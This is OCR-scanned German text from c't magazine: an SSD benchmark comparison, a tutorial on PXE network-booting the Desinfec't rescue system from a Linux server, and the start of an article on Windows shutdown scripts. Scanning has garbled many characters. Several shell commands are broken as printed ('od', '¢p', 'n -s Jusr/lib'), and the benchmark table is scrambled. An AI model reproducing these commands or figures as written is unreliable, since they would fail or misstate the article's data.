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in der hoheren Transferrate bei sequenziel-
len Zugriffen, sondern in den 150- bis 600-
fach kurzeren Zugriffszeiten.

Als MaB hierfur geben die Hersteller in
ihren Datenblattern die hochstmogliche An-
zahl der Ein-/ und Ausgabeoperationen pro
Sekunde (I/0s pro Sekunde, IOPS) an, die
eine SSD beim Zugriff auf kleine (4-KByte-)-
Datenblocke bewadltigt. SATA-II-SSDs schaf-
fen 40 000 IOPS und damit mehr als 200-mal
so viel wie die schnellsten SATA-Platten,
SATA-6G-SSDs sogar fast 100 000 IOPS. Des-
halb starten Anwendungen und Betriebssys-
tem von einer SSD blitzschnell - auch deut-

lich schneller als etwa von einem RAID 0 aus
herkdmmlichen Festplatten mit dhnlichen
Transferraten, aber einem Bruchteil der IOPS.
Und weil die aus Flash-Speicherchips aufge-
bauten Massenspeicher ohne Mechanik aus-
kommen, arbeiten sie auch noch véllig laut-
los. Doch welche Unterschiede gibt es zwi-
schen superschnellen Mittelklasse-SSDs und
lohnt sich SATA 6G Uberhaupt?

SATA 6G oder SATAII?

SATA-6G-SSDs sind heute erste Wahl,
schlielich bieten sie doppelt so hohes
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Tempo wie SATA-II-SSDs, oft fir wenig mehr
Geld. Die Hochstgeschwindigkeit von SATA-
6G-SSDs lasst sich jedoch nur dann nutzen,
wenn sie optimal angebunden sind. Die
beste Wahl dafiir sind die SATA-6G-Ports des
Mainboard-Chipsatzes (meist Port 0 oder 1),
eine schlechte hingegen SATA-6G-Anschls-
se, die per Zusatzchip (etwa von Marvell, Jmi-
cron oder Asmedia) ans Board drangefum-
melt wurden. Sie sind eher als eSATA-Adap-
ter oder Notlosung fur zusétzliche Festplat-
ten oder optische Laufwerke gedacht: Volle
SATA-6G-Performance ist hier technisch oft
nicht moéglich und Probleme treten haufiger
auf als bei den Chipsatz-Ports.

Deshalb ist es auch keine gute Idee, SATA-
6G-Schnittstellen mit Hilfe einer PCI-Express-
Steckkarte nachzurusten: Falls die PCle-An-
schlisse des Mainboards blof3 die Geschwin-
digkeit von PCl Express 1.0 (1.1) unterstit-
zen, liefert ein PCle-x1-Port hochstens
250 MByte/s - da sind meistens schon die
SATA-II-Ports des Chipsatzes schneller. Bei

Modell Schnittstelle

Crucial m4 (256 GByte)

Intel SSD 320 (120 GByte)

Intel SSD 330 (120 GByte)

Intel SSD 520 (240 GByte)

MediaRange MR981 SSD Pro Series (120 GByte)
0CZ Vertex 4 (512 GByte)

SATA 6G (6 GBit/s)
SATA Il (3 GBit/s)
SATA 6G (6 GBit/s)
SATA 6G (6 GBit/s)
SATAII (3 GBit/s)

! gemessen mit lometer, 32 lio

Zum Anschluss von
SATA-6G-SSDs sollte
man immer die Ports
des Chipsatzes (hier
rot) wahlen. Per
Zusatzchip von As-
media, Jmicron oder
Marvell angeflanschte
Ports - auf diesem
Board grau - kdnnen
bremsen und ver-
ursachen haufiger
Probleme.

PCl Express 2.0 betrégt die Ubertragungsge-
schwindigkeit immerhin 500 MByte/s. Das
reicht zwar fir viele SATA-6G-SSDs, doch oft
sind auch spezielle Treiber und BIOS-Setup-
Einstellungen nétig. Der konventionelle PCl-
Bus ist mit seinen maximal 130 MByte/s oh-
nehin viel zu lahm fir aktuelle SSDs.

Wer die Hochstgeschwindigkeit von
SATA-6G-SSDs ausreizen méchte und keinen
neueren Rechner mit direkt am Chipsatz an-
gebundenen SATA-6G-Schnittstellen hat,
kommt also um einen Mainboard-Wechsel
nicht herum. Beim Notebook, bei dem sich
die Platine nicht einfach tauschen lasst, stlin-
de ein Neukauf ins Haus. Das lohnt sich fast
nie. SATA-6G-SSDs sind rlickwartskompati-
bel, laufen also auch an SATA-II-Ports. Im Ex-
tremfall halbieren sich dann allerdings die
sequenziellen Transferraten und auch die
Anzahl derIOPS. Ob der in Benchmarks deut-
lich messbare Unterschied zwischen SATA |l
und SATA6G in der Praxis aber tatsachlich so
grof3 ist und SSDs mit mehr IOPS auch ge-

fuhlt mehr Tempo in der Praxis bringen,
haben wir ausprobiert.

Wettrennen

Im c't-Labor lieBen wir sieben SSDs aus dem
aktuellen Angebot gegeneinander antreten,
die ganz unterschiedliche Voraussetzungen
mitbringen: Intels SSD 320 sowie die MR981
aus der ProSeries von MediaRange besitzen
nur eine Serial-ATA-lI-Schnittstelle. Die Media-
Range-SSD arbeitet obendrein mit einem ural-
ten Indilinx-Controller mit bescheidenem
Tempo aus den Anfangszeiten von SATA-II-
SSDs. Diese beiden mussten sich mit aktuellen
SATA-6G-Modellen messen: In Intels SSD 520
steckt der Sandforce-Controller SF-2281 von
LSI, der besonders hohe SATA-6G-Transferra-
ten durch Datenkompression erreicht.

Diese erweist sich dann als hinderlich,
wenn man bereits komprimierte Daten
schreibt, also beispielsweise MP3-Musik,
Filme oder JPEG-Bilder. Die Datentransferra-
ten sinken dann teilweise von ber 500 auf
unter 100 MByte/s - also unter das Niveau &l-
terer SATA-II-SSDs, wie sich auch in unseren
Benchmarks mit lometer ablesen lésst. Dieser
schreibt ebenfalls schlecht komprimierbare
Testdaten. Auch bei der Verschlusselung von
Sandforce-SSDs mit Software, beispielsweise
mit TrueCrypt, kann die Schreibgeschwindig-
keit anders als bei anderen Modellen ohne
datenkomprimierenden Controller enorm
abnehmen [1].

Die SSD 330 st eine baudhnliche Billig-Va-
riante der SSD 520 mit Sandforce-Chip, in der
langsamere Flash-Speicherchips stecken. Da-
durch erreicht sie hochstens ein Drittel der
IOPS des Schwestermodells und ist auch bei
sequenziellen Zugriffen langsamer. Hinzu
gesellten sich noch Samsungs SSD 830 mit
Samsung-Controller sowie als Vertreter der
SSDs mit Marvell-Chips die m4 von Crucial.
Sie erreichen ihr hohes SATA-6G-Tempo an-
ders als die Intel-SSDs ohne Tricks wie Daten-
kompression - also in allen Lebenslagen.
Gleiches gilt auch fur die Vertex 4 von OCZ
mit ,Indilinx-Controller”, wobei es sich in
Wahrheit um einen Ubertakteten Marvell-
Chip neuerer Bauart handelt, mit dem diese
SSD die momentan hochsten IOPS-Raten
aller SATA-6G-Modelle erzielt.

male elle Transferrate 1/0s pro Sekunde Bootzeit Windows 7
beim Schreiben/Lesen von 128-KByte-Blocken bei zufallig verteilten Schreib-/Lesezugriffen [sec]
[MByte/s]' (Random Write/Read) mit 4-Byte-Blocken?
33784/47413 172
22091/38054 O 18,7
N 35758/24356 G 16,9
7 S 292/529 N 63000/46000 N 16,5
108/259 1650/17330 N 19,3
N 17,3
N 15,2

2 gemessen mit lometer, 32 outstanding 1/0, 8 GB e groBer Teilbereich der Disk, Messdauer: 5 Minuten
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Kaum Unterschiede

Obwohl die nackten Messwerte von SSDs
(siehe Tabelle auf dieser Seite) eine andere
Sprache sprechen, ist der in der Praxis spur-
bare Geschwindigkeitsunterschied zwischen
SATA-II- und SATA-6G-SSDs duBBerst gering.
Beim Laden eines mdachtigen Spieles wie
Anno 1404 etwa kommt es nicht nur auf
kurze Zugriffszeiten, sondern auch auf hohe
sequenzielle Transferraten an, da zu Spielbe-
ginn groBe Mengen an Texturen geladen
werden mussen. Eigentlich erwartet man
hier von SATA-6G-SSDs einen Geschwindig-
keitsvorteil. Doch egal, von welcher der hier
vorgestellten SSDs wir das Spiel laden lieBen:
es vergingen immer 35 Sekunden.

Beim Start von Windows 7, bei dem Daten
an vielen verschiedenen Stellen der Platte
gelesen werden, erhofft man sich einen Vor-
teil durch besonders kurze Zugriffszeiten be-
ziehungsweise durch eine besonders hohe
Anzahl an Ein- und Ausgabeoperationen pro
Sekunde. Anders als erwartet lieferte aber
nicht die SSD mit den hochsten IOPS-Raten,
die Vertex 4 von OCZ, an unserem Testsys-
tem die kurzesten Bootzeiten, sondern die
beim Lesen um 10000 IOPS langsamere
SSD 830 von Samsung. Hier dauerte es nur
rund 15 Sekunden bis zum Erscheinen des
Startbildschirms, bei der Vertex 4 hingegen
17 Sekunden. Die vermeintlich langsameren
Intel-SSDs 330 und 520 waren ebenfalls
schneller. ErwartungsgemaB fiel nur das Er-
gebnis des Letztplatzierten aus: Die MR981
mit SATA-lI-Schnittstelle und dem veralteten
Indilinx-Controller braucht gut 19 Sekunden
zum Windows-Start.

Ein anderes Bild ergibt sich bei Messun-
gen mit dem BAPCo SYSmark 2012 [2]. Der
anwendungsorientierte Benchmark simuliert
Arbeitsablaufe mit Standardanwendungen
wie Excel oder Photoshop. In den drei Test-
disziplinen Web Development, Data Analysis
(Excel) und System Management (WinZip)
zeigte die Vertex 4 die beste Leistung. Nur In-
tels SSD 520 liegt beim Web Development
gleichauf und kann in den Einzeldisziplinen
Office Productivity (Word, Excel, Photoshop)
sowie Media Creation (unter anderem Photo-
shop) die Vertex 4 sogar noch Gbertrumpfen.
Den Sieg im 3D-Modeling (unter anderem

195 174
196 175
196 176
193 m
196 174
195 174

Messsystem: Asrock Z77 Pro4-M mit Intel Core-i7 3770K, 8 GB e RAM
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AutoCAD, 3DS Max) holt sich etwas Uberra-
schend Intels dltere SSD 320 mit SATA-II-
Schnittstelle.

Erwartungsgemaf die schwdchsten Werte
in den meisten Disziplinen — aber nicht in
allen - liefert die MR981 von MediaRange mit
veralteter Technik. Generell betragen die Un-
terschiede zwischen der jeweils lahmsten
und schnellsten SSD in den einzelnen Diszip-
linen unseres BAPCo-Tests aber hochstens
zehn Punkte beziehungsweise vier Prozent -
diesen Unterschied wird man ohne Bench-
mark als Hilfsmittel kaum spuren. In der
BAPCo-Gesamtwertung unterscheiden sich
die SSDs sogar hochstens um vier Punkte -
oder zwei Prozent - und das, obwohl die Me-
diaRange-SSD nur ein Finfzigstel der I/O-
Leistung von OCZs Vertex 4 liefert.

Dabei kommt es auch nicht darauf an, ob
man eine SATA-6G-SSD tatsachlich per
SATA 6G mit dem Rechner verbindet oder
nur per SATA II. Bei Samsungs SSD 830 bei-
spielsweise gehen dann zwar sowohl die se-
quenziellen Transferraten als auch die IOPS-
Raten um rund ein Drittel zurlick, dies wirkte
sich aber wie bei allen anderen SSDs, bei
denen die Geschwindigkeitseinbuflen bei
der Transfergeschwindigkeit teilweise noch
deutlicher sind, weder auf die Bootdauer
noch die BAPCo-SYSmark-Messungen nen-
nenswert aus.

Das zeigt, dass hohere IOPS-Raten und
hohere Transferraten zwar eindrucksvoll das
technische Potenzial des SSD-Controllers
widerspiegeln, beim Einsatz einer SSD im
PC oder Notebook letztlich aber kaum ins
Gewicht fallen. Die von den Herstellern be-
worbene héchstmogliche Anzahl an Ein-
und Ausgabeoperationen erreichen SSDs
etwa nur dann, wenn sie mit bis zu 32
gleichzeitigen Anfragen jonglieren. Im PC
oder Notebook kommt das selten vor. Hier
sind es im Alltag oft nur drei oder vier Thre-
ads, welche die SSD gleichzeitig abarbeiten
muss — und das schaffen alle aktuellen Mo-
delle so schnell, dass man keine Geschwin-
digkeitsunterschiede merkt. In Server-Syste-
men, wo besonders IOPS-Raten gefordert
sind, kommt es wiederum darauf an, dass
SSDs diese auch konstant liefern kénnen.
Das vermag jedoch keine der hier
stellten, flir den PC beziehungsweise Note-
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book-Einsatz konzipierten Modelle zu leis-
ten. Insbesondere bei anhaltenden Dauer-
schreibzugriffen sinkt die Leistung allmah-
lich.

Fazit

Benchmark-Ergebnisse sind eine feine Sache,
doch der Alltag sieht anders aus. Bei in der
Praxis haufigen Zugriffsmustern konnen SSDs
ihr theoretisches Potenzial offenbar selten auf
die Stra8e bringen. Fir welche SSD aus dem
aktuellen Angebot man sich auch entschei-
det: Der Rechner arbeitet nach dem Umristen
erheblich schneller als mit Magnetplatte.
Auch éltere Systeme lassen sich so noch ein-
mal flott machen, sofern sie schon mit einem
Mehrkern-Prozessor ausgeristet sind. Dabei
spielt es keine Rolle, ob man die SSD per
SATA 6G oder SATA Il betreibt: Man erspart
sich Kummer, wenn man auf das Nachristen
von SATA-6G-Adaptern verzichtet. Da SATA-
6G-SSDs typischerweise sehr viel mehr Strom
als SATA-II-SSDs schlucken, ist es im Hinblick
auf die Akkulaufzeit bei Notebooks sogar
sinnvoller, daflir ein im Leerlauf sparsames
(SATA-II-)Modell zu wahlen.

In stationdren Rechnern fallt der SSD-
Stromverbrauch dagegen nicht ins Gewicht.
SATA-6G-SSDs bringen an SATA-6G-Ports ge-
genuber SATA-II-SSDs einen leichten Ge-
schwindigkeitsvorteil, allerdings ist der fihl-
bare Tempogewinn nicht doppelt bis funf-
zigmal so hoch, wie es Benchmarks suggerie-
ren. Bei der Kaufentscheidung sollte man
sich deshalb nicht von schwindelerregend
hohen IOPS-Raten oder Ubertragungsraten
blenden lassen, sondern Zuverlassigkeit der
SSD und Qualitat des Hersteller-Supports mit
in die Kaufentscheidung einbeziehen. Einen
Ersteindruck davon vermitteln Google-Abfra-
gen und die Suche in einschldgigen Handler-
und Herstellerforen. (boi)
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Praxis | Desinfec't

Ralf Schneider, Peter Siering

Impfen per Netzwerk

Desinfec’t vom Linux-Server booten

Niitzliche Datentrager wie Desinfec't aus ¢’t 9/12 tauchen genau dann
unter, wenn man sie dringend braucht. Wer ohnehin einen Linux-
Server betreibt, kann den Inhalt der Scheibe dort hinterlegen, sodass
sich kiinftige PC-Patienten die Medizin direkt aus dem Netz holen.

ie Mehrzahl der in den letzten Jahren ver-

kauften PCs kann ebenso selbstverstand-
lich aus dem Netzwerk booten wie von einem
optischen Datentrdger. Gegebenenfalls muss
man die Option im BIOS-Setup aktivieren. Oft
genligt es aber auch, beim BIOS-Selbsttest die
richtige Taste flr die Boot-Auswahl zu dri-
cken, meist F12. Starten aus dem Netzwerk ist
dann eine von mehreren Optionen.

Die Infrastruktur, die man dazu braucht, ist
nicht allzu aufwendig. Es muss sich dazu
nicht mal um einen echten Server handeln,
ein bei Bedarf gestartetes System in einer VM
genugtvollends. Fir Windows haben wir das
in [1] erklart. Das Folgende zeigt die nétigen
Schritte fur ein Linux-System und am Beispiel
unseres Desinfec't-Projekts - einer Boot-
DVD, die zuletzt c't 9/12 beilag und die diver-
se Hilfsmittel enthalt, um PCs von Schadlin-
gen zu befreien.

Das Starten aus dem Netzwerk ist in vie-
lerlei Hinsicht praktisch: Gerdte ohne opti-
sches Laufwerk lassen sich damit erreichen,
etwa Netbooks. Das ldstige Gejaule des Lauf-
werks stort nicht. Zudem l4uft ein Rettungs-
system wie Desinfec't auf aktueller Hardware
flussiger aus dem Netz. Und: Steht die Infra-
struktur fur den Netzwerk-Boot, kann man
dort auch gleich weitere Helfer, Installations-
medien oder sonstige Projekte ablegen und
nutzen.

Noch eine erfreuliche Botschaft vorab:
Wer denkt, dass er dafir womaoglich lieb ge-
wonnene Dienste umstricken muss, ist auf
dem Holzweg. Ein Linux-Maschinchen, das
anderen das Booten aus dem Netz erlaubt,
integriert sich nahtlos in ein bestehendes
Netzwerk. Man muss also weder Dienste auf

154

bestehenden Servern anfassen noch den
Router in Rente schicken, weil er die nétigen
Protokolle nicht kennt.

Die Zutaten

Booten aus dem Netz heif3t heute ,PXE". Das
von Intel spezifizierte Preboot Execution
Environment fasst die zuvor etablierten Ver-
fahren zusammen und erweitert sie um eine
normierte Schnittstelle fir Netzwerkzugriffe.
Es schafft quasi ein BIOS fir Netzwerkkarten,
das flr jeden Chip und Hersteller gleich funk-
tioniert. Das heif3t: Im Rahmen des Bootens
braucht man anders als friiher keine Treiber,
die zur jeweiligen Netzwerkkarte passen, PXE
bringt sie mit.

Das Verfahren ist einfach: Der startende
PC ruft ins Netz hinaus und erfragt eine IP-
Adresse, das Protokoll dazu heif3t DHCP (Dy-
namic Host Configuration Protocol). Der
DHCP-Server antwortet mit einer Adresse
und weiteren Informationen. Eine solche
Antwort enthdlt in der Regel die Adresse des
Nameservers und des Gateways, kann aber
zusétzliche Hinweise zum Beispiel auf eine
spezielle Startdatei fir den Netzwerk-Boot
enthalten.

Findet der PC solche Hinweise, dann ladt
er die Dateivon einem TFTP-Server und fuhrt
sie aus; das Trivial File Transfer Protocol ist
eine authentifizierungslose Variante von FTP.
Diese Dateien enthalten Hinweise, wie weiter
zu verfahren ist, zum Beispiel ein Auswahl-
mend fir mehrere auf dem Boot-Server ab-
gelegte Betriebssysteme. Optional kann
auchein PXE-Bootserver in dem Prozess mit-
mischen.

Das Verfahren ist so ausgelegt, dass die
PXE-spezifischen Teile parallel zu einem
bereits vorhandenen DHCP-Server arbeiten
kénnen - der ist oft auf einem Router aktiv
und lasst sich gar nicht geeignet anpassen.
Die parallel zu einem vorhandenen DHCP-
Server nétige Komponente heif3t DHCP-Proxy
und kann sogar gleichzeitig zum DHCP-Ser-
ver auf dem gleichen System aktiv sein.

Die Anforderungen, die Desinfec't an
einen Start aus dem Netzwerk stellt, fallen
moderat aus. Sie entsprechen denen eines
Ubuntu-Live-Systems. AuB3er den beschrie-
benen obligatorischen'Diensten erwartet es
zusétzlich einen NFS-Server, der das kompri-
mierte Dateisystem im Netz bereitstellt. Le-
diglich der Systemstart, also das Laden der
zum Booten nétigen Dateien, des Kernels
und der Init-RAM-Disk Iduft via TFTP. Dann
Gbernimmt NFS.

Um die nétigen Dateien auf Ihrem Server
bereitzustellen, legen Sie die Desinfec't-DVD
in das System ein, mounten Sie diese (die
Hinweise gehen davon aus, dass Sie das
unter /media/cdrom tun) und kopieren Sie
die Dateien in das im ersten Schritt neu an-
gelegte Verzeichnis /srv/tftp/ct:

mkdir -p /srv/tftp/ct/desinfect

od /srv/tftp/ct

¢p -r /media/cdrom/casper desinfect/
¢p -r /media/cdrom/isolinux desinfect/

Leider enthdlt die Init-RAM-Disk auf der Des-
infec’t-DVD einige Schonheitsfehler, die erst
beim Netzwerk-Boot zu Tage treten. Uber
den c't-Link am Ende des Artikels finden Sie
den Download-Link zu einer aktualisierten
initrd.Iz-Datei, um damit die kopierten Da-
teien von der DVD wie folgt zu aktualisieren:

cd /srv/tftp/ct/desinfect/casper
wget http://ct.de/projekte/desinfect/ct1512/initrd 1z

Im nachsten Schritt erstellen Sie ein weiteres
Verzeichnis

mkdir /srv/tftp/ct/pxelinux.cfg

und legen darin die Datei default wie folgt
an:

DEFAULT desinfect2012
LABEL desinfect2012
KERNEL desinfect/casper/vmlinuz
APPEND boot=casper initrd=desinfect/casper/initrd.lz7
netboot=nfs nfsroot=192.168.1.2:/srv/tftp/ct/desinfect 7
quiet splash -- debian-installer/language=de 7
console-setup/layoutcode?=de

Sie weist PXE den Weg zu Kernel und Init-
RAM-Disk und gibt einige Optionen fir den
Systemstart mit. Wichtig dabei ist, dass die
Adresse des NFS-Servers passt. Die Beispiele
gehen davon aus, dass hinter der Adresse
192.168.1.1 der Router und DNS-Server ste-
cken, und hinter 192.168.1.2 der Boot-Server,
den Sie einrichten.

Fehlt noch der PXE-Loader selbst. In
einem Debian-System kénnen Sie den per:

apt-get install syslinux-common

auf die lokale Platte holen. Da die Datei pxe-
linux.0 in /usr/lib/syslinux landet, missen Sie
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Praxis | Desinfec't

Ein simples Bootmeni, das erst auf Knopfdruck Netzwerk-Boot-
Optionen zeigt, ist mit Dnsmasq im Handumdrehen gestrickt.

sie fur die Remote-Boot-Mechanismen zu-
ganglich machen. Ein symbolischer Link
empfiehlt sich dafur, weil |hr System so von
eventuellen Updates an der Datei profitiert:

«d /srv/tftp/ct/
n -s Jusr/lib/syslinux/pxelinux.0 pxelinux.0

Der NFS-Server ist auf einem Debian-System
mit wenigen Handagriffen installiert:

apt-get install nfs-kernel-server

zur Konfiguration tragen Sie in die Datei
/etc/exports die Zeile

/srv/tftp 192.168.1.0/24(ro,n0_subtree_check)

ein. Die IP-Adresse des Netzwerks mussen
Sie gegebenenfalls anpassen. Nach einem
Neustart mit /etc/init.d/nfs-kernel-server restart lie-
fertder Server die Image-Datei mit Desinfec't
auf Anfrage aus.

Integrativ

Einfach kann man sich das Leben mit
Dnsmasq machen, einem eher schlanken
DNS- und DHCP-Server. Ihn kann man ohne
Weiteres parallel zu einer bestehenden DNS-/
DHCP-Infrastruktur betreiben, also auch zu
einem vorhandenen DSL-Router. Die Installa-
tion in einem Debian-System ist per

apt-get install dnsmasq

erledigt. Als Konfigurationsdatei genugt
nach den zuvor geschilderten Schritten eine
neu angelegte Datei desinfect im Verzeichnis
/etc/dnsmasg.d. Sie enthalt:

port=0

log-dhcp

enable-tftp

tftp-root=/srv/tftp

dhcp-range=192.168.1.0,proxy

pxe-prompt="Taste F8 zeigt Auswahl",5
pxe-service=X86PC,"Starten von Festplatte”,0
pxe-service=X86PC,"Mit Desinfec't starten",ct/pxelinux

Der Reihenfolge nach deaktivieren die Optio-
nen den integrierten DNS-Server (port=0), las-
sen Dnsmasq ausftihrlich Protokoll schrei-
ben, knipsen den internen TFTP-Server an,
weisen den Daemon an, als DHCP-Proxy fiir
das Netz 192.168.1.0 aktiv zu werden und
lassen den PXE-Code einen Hinweis anzei-
gen und auf die Betdtigung der Taste F8 hin
ein minimales MenU prasentieren.

Das Menu erlaubt die Wahl zwischen
einem Boot von der Festplatte und von Des-
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infec’'t aus dem Netz. Halt der Benutzer funf
Sekunden still, geht es automatisch von der
Festplatte weiter. Wie erfrischend einfach
Dnsmasq ist, kann man erst im Vergleich mit
dem Aufwand ermessen, den man beim Ein-
satz der ,grof3en” Dienste treiben misste. Da
liegt es nahe, nur in Ausnahmefallen tber-
haupt etwas anders zu benutzen.

Reinraumansatz

Fur all diejenigen, die es genauer wissen wol-
len, folgt jetzt die klassische Methode, einen
PXE-Boot-Server zu bauen: Ein frisch instal-
liertes System auf Debian-Basis motzt man
mit einigen Paketen geeignet auf. Wer schon
Teile der Dienste in Betrieb hat, pickt sich
einfach die entscheidenden Punkte aus der
Anleitung heraus:

apt-get install tftpd-hpa isc-dhcp-server openbsd-inetd

Den TFTP-Server konfigurieren Sie in der
Datei /etc/default/tftpd-hpa:

TFTP_OPTIONS="--secure"
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/srv/tftp"
TFTP_ADDRESS="0.0.0.0:69"

Im Verzeichnis /srv/tftp braucht jedermann
Leserechte, damit der Server die Dateien
auch ausliefern kann. Anders als viele gan-
gige Dienste bringt der tftp-Server kein
Init-Skript mit. Stattdessen spannt man den
Inet-Daemon (bei Debian openbsd-inetd)
ein, um den Dienst zu starten. In der Datei
/etc/inetd.conf sorgt die Zeile

tftp dgram udp wait root /usr/sbin/tcpd 7
Jusr/sbin/in.tftpd -s /srv/tftp

daflr, dass der inet-Daemon bei Verbin-
dungsanfragen auf dem tftp-Port den TFTP-
Server startet.

Dem DHCP-Server (jetzt kein Proxy mehr)
sollten Sie in /etc/default/isc-dhcp-server ex-
plizit mitteilen, auf welcher Schnittstelle er
Anfragen beantworten soll, etwa eth0:

interfaces="eth0"

AuBerdem mussen Sie den DHCP-Dienst
grundlegend konfigurieren, eine minimale
Konfigurationsdatei sieht so aus:

authoritative;

allow booting;

allow bootp;

option domain-name-servers 192.168.1.1;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.20 192.168.1.40;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;

}

host desinfect {

next-server 192.168.1.2;

hardware ethernet 00:01:02:03:04:05;
fixed-address 192.168.1.50;

filename "ct/pxelinux.0";

}

Die Anweisungen erklaren den DHCP-Server
fur aktiv und zustdandig (authoritative;), aktivie-
ren die Boot-Dienste (allow booting; allow bootp;)
und richten einen Adresspool fir das private
Netz 192.168.1.0 ein.

Clients erhalten nach dem Start (/etc/init.d/
isc-dhcp-server start) Adressen ab 192.168.1.20.
Als Nameserver und Gateway gibt der Server
die Adresse 192.168.1.1 heraus. Das konnte
ein Router im lokalen Netz sein, auf dem
dann - sofern vorhanden - der DHCP-Dienst
zu deaktivieren wére.

In der host-Deklaration schlielich ordnen
Sie dem System mit der Hardware-Adresse
(MAC) 00:01:02:03:04:05 eine feste IP-Adres-
se zu und verweisen ihn auf den Boot-Server
und eine dort abgelegte Boot-Datei. Die IP-
Adresse 192.168.1.2 sollte dabei die des Ser-
vers selbst sein, also des Systems, auf dem
Sie DHCP-Server und TFTP-Server gerade
einrichten. Ein Bootmenu analog zu dem per
Dnsmasq realisierten macht mit dem ISC-
DHCP-Server mehr Arbeit: Hier greift man am
besten auf die Moglichkeiten von ISOLI-
NUX/Syslinux zurtick.

Fehlersuchhilfen

Klappt die Inbetriebnahme nicht ad hoc oder
bleibt das Booten mittendrin stecken, so gilt
der erste Blick den Log-Dateien des Systems.
Die enthalten oft sinnvolle Hinweise auf nicht
gefundene Dateien, falsche Pfade et cetera.
Aber nicht jede Fehlermeldung, die dort her-
umschwirrt, deutet gleich auf ein Problem
hin: Ein PXE-Client probiert mehrere Datei-
namen aus, die gehen von der MAC-Adresse
aus und verallgemeinern immer weiter.
Auch dem startenden Desinfec't kann
man detailliert auf die Finger sehen. Lasst
man in /srv/tftp/ct/pxelinux.cfg/default in
der APPEND-Zeile die Option splash weg, dann
sieht man die Ausgaben des bootenden Sys-
tems. Wenn Sie sich im startenden System
umsehen wollen, noch bevor das eigentliche
Live-System richtig zum Leben erwacht, kon-
nen Sie die APPEND-Zeile um die Option
break=init ergdnzen. Bei hartnackigen Proble-
men hilft nur ein Paketsniffer. (ps)

Literatur

[1] Axel Vahldiek, Ab durch die Strippe, Windows
7 via Netzwerk retten oder neu installieren,
C't5/11,5.176
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Die Anwendungsmaoglichkeiten fur Pro-
gramme, die beim Herunterfahren von
Windows automatisch starten, sind vielféltig:
Ein neuer Eintrag in eine Log-Datei, die die
Arbeitszeit dokumentiert, eine automatische
Sicherheitskopie bearbeiteter Dokumente
oder eine kurze Nachricht an Freunde im
Chat sind nur einige Beispiele.

Eine weitere Anforderung, die des Ofteren
auftaucht, erscheint auf den ersten Blick ab-
surd: das Herunterfahren von Windows um
ein paar Sekunden zu verzégern oder gar fir
langere Zeit zu verhindern. So widersinnig ist
das bei genauerem Hinsehen gar nicht: Wer
seine Dateien mit Dropbox, SkyDrive oder
Google Drive synchronisiert, méchte vermut-
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lich, dass der Rechner sich erst dann aus-
schaltet, wenn alle Dateien in der Cloud auf
dem letzten Stand sind.

Autofinish

Die Eingriffsmoglichkeiten, die Microsoft
dafir geschaffen hat, Windows beim Herun-
terfahren noch selbst definierte Aufgaben
abarbeiten zu lassen, haben zwei Haken:
Zum einen existieren sie bei Windows 7 und
Vista nur in den teureren Ausgaben Profes-
sional, Enterprise und Ultimate sowie in
Windows Server 2008 (mit und ohne ,R2");
Besitzer der Home- und Starter-Varianten
kénnen sie nicht benutzen. Zum Zweiten

bedeuten Eintrdge an den dafur vorgesehe-
nen Stellen, dass Windows die dort einge-
tragenen Programme und Skripte wirklich
bei jedem Herunterfahren ausfiihrt - zum
Beispiel auch dann, wenn das System nach
einer Programm- oder Update-Installation
nur mal schnell neu gestartet werden soll.
Wer mit diesen Einschrankungen leben
kann, findet die Einstellungen in den Grup-
penrichtlinien, zu 6ffnen tber das Eintippen
von ,gpedit.msc” in das Suchfeld des Start-
menus.

Wenn hier bislang von Programmen die
Rede war, die beim Beenden von Windows
ausgeflihrt werden sollen, so war das eigent-
lich ungenau. Das Herunterfahren besteht
namlich grob aus zwei voneinander getrenn-
ten Schritten: Zundchst schlieft Windows die
Prozesse des aktuellen Benutzers und meldet
ihn ab. Erst danach beendet es die System-
dienste und schaltet zuletzt den Rechner aus.
Fir beide Schritte gibt es in den Gruppen-
richtlinien die Moglichkeit, eigene Skripte
einzuklinken: Die beim Abmelden auszufiih-
renden lassen sich unter ,Benutzerkonfigura-
tion/Windows-Einstellungen/Skripts (Anmel-
den/Abmelden)” eintragen, die fir den ei-
gentlichen Shutdown unter ,Computerkon-
figuration/Windows-Einstellungen/Skripts
(Start/Herunterfahren)”.

Welche der beiden Eintrdge man be-
nutzt, hangt davon ab, was das einzutra-
gende Skript genau tun soll: Abmeldeskrip-
te laufen im Kontext und mit den Rechten
des gerade angemeldeten Benutzers — und
zwar bei Administratorkonten trotz Benut-
zerkontensteuerung mit vollen Rechten.
Bevor Windows sie startet, schlie3t es alle
anderen laufenden Anwendungen, auch
solche, die im Hintergrund oder als Tray-
Symbol laufen. Wahrend ein solches Skript
arbeitet, sieht der Benutzer normalerweise
nur einen leeren Bildschirm. Trotzdem kén-
nen Abmeldeskripte auch GUI-Anwendun-
gen starten, mit denen der Benutzer sogar
noch interagieren kann. Wenn das Skript
nicht ausdrticklich auf deren Beendigung
wartet - etwa, indem es sie mit dem Befehl
start und dessen Option /wait 1adt —, werden
sie aber automatisch beendet, sobald das
Skript mit seiner weiteren Arbeit fertig ist.
Die Ausgaben von Abmeldeskripten kann
man sichtbar machen, indem man in den
Gruppenrichtlinien unter ,Benutzerkonfi-
guration/Administrative Vorlagen/System/
Skripts” die Option ,Abmeldeskripts sicht-
bar ausfiihren” aktiviert.

Eine analoge Einstellung gibt es im Pfad
~Computerkonfiguration/Administrative Vor-
lagen/System/Skripts” auch fur ,Herunter-
fahren”-Skripte. Ohne sie bekommt der An-
wender nicht mal mehr Fenster von GUI-An-
wendungen zu Gesicht, die aus dem Skript
heraus gestartet werden - einen Desktop
gibt es zu dem Zeitpunkt nicht mehr. Ein
Skript auf Windows-Programme warten zu
lassen, die sich nicht selbst beenden, istalso
keine besonders gute Idee: Erst nach zehn
Minuten stoppt Windows das Skript und
die von ihm geladenen Programme zwangs-
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Datei

or fur lokale Gruppenrichtiinien

Aktion  Ansicht ?

1Z] Pichtlinien far Lokaler f
a Computerkonfiguration

Herunterfahren

Namensauflgsungsrichtlinie
[£) Skripts (Start/Herunterfahren)
> Mg Bereitgestellte Drucker
i@ Sicherheitseinstellungen
Richtlinienbasierter QoS
> Administrative Vorlagen
a Benutzerkanfiguration

a Windows-Einstellungen
[&] Skripts (Anmelden; Abmelden)
i Sicherheitseinstellungen
Richtlinienbasierter QoS
> Mg Bereitgestellte
b @) Internet Explorer-Wartung
> Administrative Vorlagen

Praxis | Windows-Shutdown

Skripts (Start/Herunterfahren)

Name

